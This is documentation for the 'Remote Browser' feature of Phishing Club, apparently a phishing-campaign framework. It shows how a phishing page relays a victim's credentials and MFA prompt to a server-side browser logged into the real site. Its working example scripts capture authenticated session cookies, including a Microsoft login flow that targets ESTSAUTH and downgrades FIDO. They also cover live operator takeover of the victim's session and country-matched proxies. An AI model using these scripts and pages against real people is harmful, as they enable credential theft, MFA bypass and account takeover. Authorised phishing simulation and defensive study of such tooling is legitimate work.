Remote Browser

Overview

The architecture consists of:

• The phishing page is a static page served to the victim. It has no knowledge of the target site. You send events using rb.send(), and reacts to events coming back from the script using rb.on(). You design this page and its flow entirely yourself.
• Remote Browser Script It receives events from the phishing page and decides what to do in the remote browser and which events to send back to the phishing page.
• The server side browser is a CDP-compatible browser (Chrome, Edge, Brave, or any other Chromium based browser) running on the Phishing Club host or a remote container.

Bot detection and configurations for popular targets

By default, the remote browser is detectable. No major bypass configuratons are baked in.

Bypassing bot detection is not a goal of this project. Phishing Club gives you the framework and you implement the bypass yourself. What works changes frequently and might be specific to the target.

Phishing Club does not provide any configurations for targets such as Microsoft or Google.

How It Works

1. The recipient visits your phishing page. Phishing Club renders the page and replaces {{RemoteBrowserScript "name"}} with a WebSocket client script bound to that recipient's session ID.
2. The injected script opens a WebSocket connection to the Phishing Club backend and sends the victim's viewport dimensions. The connection remains open for the lifetime of the session.
3. The backend locates the saved script by name, starts a runner, and begins executing the JavaScript. The phishing page is now waiting for instructions; the script is waiting for events.
4. When the victim interacts with the phishing page (submitting a form, clicking a button), the page can call rb.send("event", data). This sends events over WebSocket to the script.
5. The script receives the event via waitForEvent() or an s.on() handler, performs the corresponding action in the real browser (navigating, typing, clicking), and reads the result.
6. The script calls emit("event", data) to send a response back to the phishing page. The phishing page's rb.on() handler fires and updates the UI: showing the next step, displaying a message, or revealing a new form.
7. This exchange continues until the script calls s.capture() to extract cookies and storage, which records a capture event in the campaign log.
8. The script can then call s.keepAlive() to hold the browser available for operator takeover, or call s.close() to end the session.

A running session keeps the script it started with. Editing and saving a script does not change a session that is already running or parked, that session keeps the old code. There is one session per recipient, and a session parked by s.keepAlive() stays until you terminate it. While it is parked, a reloaded phishing page connects and is closed at once (WebSocket code 1006) because the old session still holds the recipient. To run an edited script, terminate the recipient's live session first, then reload the page. While developing, prefer s.listen() over s.keepAlive(): a listen session ends when the page disconnects, so a reload picks up your latest script on its own.

Enabling the Feature

Remote Browser is disabled by default. To enable it, set enabled: true in the remote_browser block of config.json:

"remote_browser": {
  "enabled": true,
  "binary_path": "/usr/bin/chromium-browser"  // optional
}

If binary_path is not set, Phishing Club will automatically download a compatible Chromium build on first use. The first session will not start until the download and setup process completes. Follow the server logs to track progress and confirm everything succeeds before expecting the browser to launch.

The downloaded Chromium needs the same shared system libraries as PDF reports. Install them first: see System dependencies under PDF Reports for the package list and how to check which are missing. If a session still fails to start, enable chromeDebug: true in newSession() to surface the raw Chrome process output, which lists any remaining missing libraries.

Turning Headless off needs more than those libraries. A headful browser draws a real window, so it needs a display and the toolkit it draws with. Phishing Club starts a private Xvfb display for every session rather than putting them all on one display, because X gives clients on the same display no separation: on a shared display one session could read the windows and the keystrokes of the others. Install these, using the same plain name / t64 fallback as the report libraries so the command works on both older and newer releases:

for p in xvfb libgtk-3-0 libxss1 libxtst6 libxi6 libxcursor1; do
  apt-get install -y "$p" 2>/dev/null || apt-get install -y "${p}t64"
done

Without xvfb a headful session fails to start and the run log reports that the browser needs a display. On a machine that already has a desktop session the server falls back to that desktop's display and logs a warning, since it is shared with everything else drawing on it.

A headful browser still has no GPU behind it on a virtual display, so WebGL continues to report the software renderer. Removing that signal needs a real GPU passed through to the machine, not a display alone.

On systems where AppArmor restricts unprivileged user namespaces, Chromium cannot create the namespace it needs for its internal sandbox. The Chrome process output will contain:

No usable sandbox!

The remote browser uses the same bundled Chromium as PDF reports, so the same fix applies. See the AppArmor setup under PDF Reports.

Creating a Script

Navigate to Remote Browsers in the sidebar and click New.

1. Name (Required): A unique name used to reference this script from page templates.
2. Description (Optional): Short description.
3. Script (Required): The Remote Browser script.
4. Configuration: Browser settings configured through the Config tab.
   Use Local mode for production campaigns and Remote mode when developing scripts against a browser you already have running.

How a script runs

The browser script runs once, top to bottom. There is no background loop and setTimeout is not available. It talks to the phishing page through events: the page calls rb.send(name, data), the script reads those events, and the script calls emit(name, data) to send data back to the page.

The connection stays open only while the script is still running. A script keeps running by blocking on an event or by parking itself. If it reaches the end instead, the session closes and any later rb.send from the page is discarded, with a warning in the page console. So a script always finishes on a blocking call.

Receiving events: synchronous (start here)

waitForEvent(name) pauses the script until the page sends that event, then returns its data. Use it for a step by step flow: do something, wait for the next event, continue. One event at a time, in the order you write. This is the easiest model to start with.

Phishing page (HTML)

<input id="email" placeholder="Email" />
<button id="go">Continue</button>
<p id="status"></p>

{{RemoteBrowserScript "starter"}}

<script>
document.getElementById("go").addEventListener("click", function () {
  rb.send("email", { value: document.getElementById("email").value });
});

rb.on("thanks", function (data) {
  document.getElementById("status").textContent = data.message;
});
</script>

The name in {{RemoteBrowserScript "starter"}} is the exact Name of a Remote Browser script you create under Remote Browsers (see Creating a Script). In this example the script must be named starter. The lookup is by name and scoped to the campaign's company, and a script with no company is global and usable by any campaign. If no script matches the name, the tag renders nothing and no WebSocket client is injected, so the page loads normally but the remote browser flow never starts. If the page has no rb object at runtime, check that the name matches an existing script exactly.

Browser script (synchronous)

var s = newSession();
s.navigate("https://example.com");

while (true) {
  // waitForEvent blocks here until the page calls rb.send("email", ...)
  var msg = waitForEvent("email");
  log("got email", msg.value);
  emit("thanks", { message: "Received " + msg.value });
}

The while loop keeps the script blocked on waitForEvent, so it handles each message the page sends and the connection stays open. Drop the loop if you only expect one event.

Receiving events: asynchronous

s.on(name, fn) registers a handler but does not run it. s.listen() then blocks and calls the matching handler every time an event arrives, until s.done() is called, the victim disconnects, or the idle timeout fires. Use it when different events can arrive in any order or more than once.

Browser script (asynchronous)

The phishing page above is unchanged. Only the browser script differs.

var s = newSession();
s.navigate("https://example.com");

// register a handler. it does not run yet
s.on("email", function (data) {
  log("got email", data.value);
  emit("thanks", { message: "Received " + data.value });
});

// listen blocks and dispatches events to the handler until the page disconnects
s.listen();

Which to use

• Synchronous, waitForEvent: the script stops and waits for one event at a time, in the order you wrote. Simplest to follow.
• Asynchronous, s.on then s.listen: you register handlers, then s.listen() waits and runs the right handler as each event arrives. Handlers can fire in any order.
• Both keep the connection open while they block, which is what a script needs to keep receiving from the page. Pick one style per script. If you are new to this, use waitForEvent.

After creating a script you can test it directly from the editor. The test runner executes the script and streams log messages, events, and screenshots to the editor panel in real time. The test run also registers as a live session, so you can open a stream view from the session panel while it runs.

Testing

When running a Run / Test you can click View and Control to directly view, interact and send events to the remote browser.

Configuration

Configuration is set through the Config tab in the script editor. The fields available depend on the selected browser mode.

Browser Mode

The mode toggle switches between two ways of launching the browser:

• Local spawns a new browser process on the Phishing Club host for each session. This is the mode to use for production campaigns.
• Remote connects to a Chrome instance you launch and configure yourself. Each call to newSession() opens a new tab in that shared browser. This is the right mode for script development and testing: point it at a browser on your local machine so you can watch the automation happen live. Because all sessions share the same browser process, remote mode is not suitable for production campaigns with multiple simultaneous victims. Any CDP-compatible browser works: Chrome, Chromium, Edge, Brave, and others.

Local Mode Fields

Remote Mode Fields

Timeout

The Timeout field (in minutes, default 5) sets a global deadline for the entire script. When the deadline is reached, the script is cancelled and the browser is closed. Set a longer timeout for flows that depend on slow victim interaction.

Script API

Scripts run in an ECMAScript 5.1-compatible JavaScript VM. All API calls are synchronous and blocking. Each call waits for the operation to complete before the next line executes.

There is no event loop. setTimeout and setInterval are not available.

Global Functions

For example, read the victim's country with request() and open the session through a matching proxy:

var r = request();
log('victim from ' + r.country, { ip: r.ip, asns: r.asns });
// open the session through a proxy that matches the country
var s = newSession({ proxy: r.country === 'DE' ? 'socks5://de-proxy:1080' : 'socks5://us-proxy:1080' });

To reuse logic or reach an external service, put it in a Script that reads input and returns an object, then call it with runScript:

// a Script named "enrich-ip" (reads input, returns an object):
//   var res = http.fetch('https://ipinfo.example/' + input.ip);
//   var d = decode.json(res.body);
//   return { proxy: d.country === 'DE' ? 'socks5://de:1080' : 'socks5://us:1080' };

var geo = runScript('enrich-ip', { ip: request().ip });
var s = newSession({ proxy: geo.proxy });

Session Methods

newSession() returns a session object. All selectors use CSS query syntax.

Navigation

Waiting

All wait* methods search the main page document and all iframes automatically, including cross origin iframes (OOPIFs such as reCAPTCHA, Google Sign-In, and other embedded third party widgets). An optional trailing options object controls the scope:

// default: search main page + all iframes
s.waitVisible("#g-recaptcha-response");

// search only the main page
s.waitVisible("input[name='email']", { frames: false });

// search only a specific iframe
s.waitVisible("input[name='identifier']", { frame: "iframe[src*='accounts.google.com']" });

Frame sessions

s.frame(selector) returns a frame session scoped to the <iframe> matching selector. Unlike the { frame: "sel" } wait option - which narrows a single wait call - a frame session lets you perform multiple operations inside one iframe without repeating the selector. Nested iframes are supported: call .frame() again on the returned frame session. Returns null if the iframe is not found or cannot be resolved.

// Access a Google Sign-In iframe directly
var googleFrame = s.frame("iframe[src*='accounts.google.com']");
if (googleFrame) {
  googleFrame.waitVisible("input[type='email']");
  googleFrame.sendKeys("input[type='email']", "[email protected]");
  googleFrame.click("#identifierNext");
}

// Nested iframes
var outer = s.frame("#outer-frame");
if (outer) {
  var inner = outer.frame("#inner-frame");
  if (inner) { inner.sendKeys("#captcha-input", "abc123"); }
}

The frame session exposes the same DOM, waiting, and interaction methods as the main session. Methods not available on frame sessions: capture, keepAlive, close, on, listen, done, race, stream.

Race

s.race(conditions) polls DOM conditions, URL changes, and incoming victim events simultaneously and returns as soon as any condition is met. Each key in the conditions object is a label you choose; each value specifies what to wait for.

Returns { key, value } for whichever condition fires first. Events received during the race that do not match any condition are buffered and remain available to subsequent waitForEvent calls.

var r = s.race({
  password: { urlContains: '/challenge/pwd' },
  mfaOrPwd: { urlMatch: /\/challenge\/(pwd|totp)/ },
  emailErr: { visible: '[aria-invalid="true"]' },
  retry:    { event: 'retry_email' }
});
if (r.key === 'password') { ... }
if (r.key === 'emailErr') { emit('email_error', {}); }
if (r.key === 'retry')    { /* r.value is the event payload */ }

Mouse

Action methods (click, sendKeys, setValue, etc.) automatically search the main page and all iframes to find the target element. If the selector matches an element inside a cross origin iframe the action is dispatched into that iframe's document.

Keyboard

Forms

DOM

Screenshots and DOM Capture

Viewport and Emulation

Header rewriting 1.43.0

Rewrite HTTP headers on the traffic between the remote browser and the sites it talks to. Rules run over the CDP Fetch domain with continueRequest and continueResponse, so the browser still opens its own connection and loads each response body itself; only the header list is edited as it passes. The targets argument is an optional URL glob (* matches any run of characters) or an array of globs; when omitted the rule applies to every request. Call these before navigate() so they are active on the first load.

Framing and routing headers (Content-Length, Transfer-Encoding, Host, Connection, and HTTP/2 pseudo headers) are rejected, because editing them corrupts the message. Cookie and CORS headers are allowed but log a warning, since removing them commonly breaks the login flow you are trying to capture.

Utility

State machine 1.43.0

A login walk is mostly the same shape: work out which page you are on, do the matching action, repeat. states() builds a small machine with optional before and after hooks and a run loop, so a script declares detection once and lists an action per state, instead of hand writing a detect function and a while loop.

A login flow then reads as detection and actions, with your own logic still in plain sight:

var s = newSession({ queryTimeout: 5000 });
s.failFido();

s.navigate("https://login.microsoftonline.com/");

s.states({
  error:    () => s.present("#errorText, .error"),
  username: () => s.visible("input[type=email]"),
  password: () => s.visible("input[type=password]"),
  totp:     () => s.visible("input[name=otc]"),
  fido:     () => s.location().includes("/fido"),
  done:     () => !s.location().includes("microsoftonline.com"),
})
  .before(state => log("state", { state: state }))
  .run({
    username: () => { s.sendKeys("input[type=email]", waitForEvent("username").username); s.click("#idSIButton9"); },
    password: () => { s.sendKeys("input[type=password]", waitForEvent("password").password); s.click("#idSIButton9"); },
    totp:     () => { s.sendKeys("input[name=otc]", waitForEvent("totp").code); s.click("#idSubmit_SAOTCC_Continue"); },
    fido:     () => { s.navigate(s.query("cancelUrl")); },
    error:    () => { emit("error", { message: s.getText("#errorText") }); return false; },
    done:     (loop) => { s.capture({ domains: ["login.microsoftonline.com"], cookieNames: ["ESTSAUTH"] }); loop.stop(); },
    timeout:  () => { emit("error", { message: "unhandled page" }); return false; },
  }, { detectTimeout: 10000, timeout: 120000 });

Session Lifecycle

Cookie and Storage Capture

s.capture(opts?) extracts cookies and browser storage from the server side browser via CDP. The result is saved as a capture event in the campaign log (the same place proxy cookie captures appear) and returned to the script so it can inspect or forward the data.

s.capture({
    domains:        ["example.com"],     // filter cookies to these domains
    cookieNames:    ["session", "auth"], // keep only cookies with these names
    localStorage:   true,               // include localStorage (default: true, false if domains set)
    sessionStorage: true                // include sessionStorage (default: true, false if domains set)
});

Captured data can be imported into browsers using the Session Sushi extension, the same workflow as proxy cookie captures.

Live Streaming to the Phishing Page

The script can stream a cropped, live view of any element in the server side browser directly to the victim's phishing page as JPEG frames over WebSocket. This lets you show the victim real content from the target site (an MFA QR code, a CAPTCHA, a code entry field) without their browser ever connecting to it. The phishing page renders the frames on a <canvas> element and forwards mouse and keyboard input back to the server side browser. As the stream is a set of images and not a WebRTC stream is can be both costly in performance and laggy depending on what is being streamed.

// Start streaming a specific element to the phishing page
var handle = s.stream("div#mfa-container", "mfa", { maxFps: 10, quality: 80 });

// Stop when done
handle.stop();

Victim-side Integration

Template Function

Add this template function call anywhere in a phishing page to inject the remote browser client:

{{RemoteBrowserScript "remote-browser-script-name"}}

Phishing Club looks up the script by name within the current company context and renders a <script> tag bound to the recipients session. During template validation or preview the function renders as an empty string.

window.rb API

After the script tag loads, window.rb (alias window.remoteBrowser) is available on the phishing page with the following interface.

Session Lifecycle Events

The server automatically emits the following events to the phishing page when the session ends. Register handlers with rb.on() to redirect the victim or show a message when each condition occurs.

Example: Credential and MFA Capture

The victim submits credentials on the phishing page. The script replays them on the real site, waits for the MFA prompt, streams it into the phishing page so the victim completes it, then captures the authenticated session.

Phishing page (HTML)

<div id="step-login">
  <input id="inp-user" type="text" placeholder="Email" />
  <input id="inp-pass" type="password" placeholder="Password" />
  <button id="btn-login">Sign in</button>
</div>

<div id="step-mfa" style="display:none">
  <p>Complete the verification below.</p>
  <div id="mfa-canvas-host"></div>
</div>

{{RemoteBrowserScript "corp-sso"}}

<script>
document.getElementById("btn-login").addEventListener("click", function() {
  rb.send("credentials", {
    username: document.getElementById("inp-user").value,
    password: document.getElementById("inp-pass").value
  });
});

rb.on("mfa_required", function() {
  document.getElementById("step-login").style.display = "none";
  document.getElementById("step-mfa").style.display   = "block";
});

rb.on("stream_start", function(info) {
  if (info.name === "mfa") {
    rb.mountStream("mfa", "#mfa-canvas-host", { autoSize: true });
  }
});

rb.on("done", function() {
  window.location.href = "{{.URL}}";
});
</script>

Server-side script

var s = newSession();
s.navigate("https://sso.corp.example/login");
s.waitVisible("input[name='email']");

var creds = waitForEvent("credentials");
s.sendKeys("input[name='email']", creds.username);
s.click("button[type='submit']");

s.waitVisible("input[name='password']");
s.sendKeys("input[name='password']", creds.password);
s.click("button[type='submit']");

// MFA prompt appeared - stream it to the phishing page for the victim to complete
s.waitVisible("div.mfa-prompt");
emit("mfa_required", {});
var mfaStream = s.stream("div.mfa-prompt", "mfa", { maxFps: 15 });
s.waitNotPresent("div.mfa-prompt");
mfaStream.stop();

s.waitVisible("div.dashboard");
s.capture({ domains: ["corp.example"] });
emit("done", {});
s.close();

Live Sessions

When a recipient's script is running, the campaign detail page polls for active sessions every five seconds and shows a Remote column in the recipients table. A badge on each row indicates whether the victim's browser tab is still open and connected.

The following actions are available on a live session:

• View: Opens a read-only stream of the server side browser's active tab. You can watch what the browser is doing in real time without sending any input.
• Control: Opens the same stream in control mode. Mouse clicks, movement, scroll, and keyboard input on the stream canvas are forwarded to the server side browser, allowing you to take over the session manually.
• Terminate: Cancels the script context, closes the browser, and ends the victim's WebSocket connection.

View and Control are only available once the script has called newSession() and the browser context is ready. A script that calls s.keepAlive() holds the browser open indefinitely for operator takeover. Test runs launched from the editor also register as live sessions and can be viewed while the test is in progress.

Tab management

When the victim (or the script) opens a new tab, the stream automatically switches to it. A tab bar appears above the URL bar whenever more than one tab is open, showing the hostname of each tab. Clicking a tab switches the stream to it in both View and Control modes. Each tab has a × button to close it; closing a tab that was active automatically switches the stream to another open tab.

Upgrading from 1.35

Installations upgrading from 1.35 must update the systemd service file before Remote Browser will work. Three hardening directives that block Chromium were removed or relaxed in 1.36:

1. Open the service file:

systemctl edit --full phishingclub

2. Update the relevant lines so they match:

RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictRealtime=true
RestrictSUIDSGID=true

Remove the RestrictNamespaces and MemoryDenyWriteExecute lines entirely.

3. Reload and restart:

systemctl daemon-reload && systemctl restart phishingclub

New installations via the built-in installer are not affected.